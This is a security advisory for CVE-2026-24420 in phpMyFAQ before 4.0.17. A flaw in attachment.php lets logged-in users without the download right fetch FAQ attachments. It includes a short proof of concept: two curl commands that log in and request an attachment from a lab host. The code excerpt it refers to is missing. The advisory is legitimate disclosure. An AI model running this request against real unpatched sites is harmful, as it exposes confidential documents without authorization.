Advisory

GHSA-7p9h-m7m8-vhhv

Also known as: CVE-2026-24420

Summary

phpMyFAQ: Attachment download allowed without dlattachment right (broken access control)

Details

Summary
A logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.

Details
In attachment.php, the access decision uses:

isset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.

### PoC
Precondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false.
Log in as a non‑admin user without dlattachment.
Request the attachment download endpoint.

curl -c /tmp/pmf_api_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"tester","password":"Test1234!"}' \
http://192.168.40.16/phpmyfaq/api/v3.0/login

curl -i -b /tmp/pmf_api_cookies.txt \
"http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1"


### Impact
Unauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-01-23 20:17 UTC
Modified
2026-02-03 03:07 UTC

Affected packages and fixes

phpmyfaq/phpmyfaq

Packagist · All systems

Affected

  • introduced 0, fixed 4.0.17 (ecosystem)

Fixed versions

4.0.17

Fix

The export has no generic command for this ecosystem.

thorsten/phpmyfaq

Packagist · All systems

Affected

  • introduced 0, fixed 4.0.17 (ecosystem)

Fixed versions

4.0.17

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences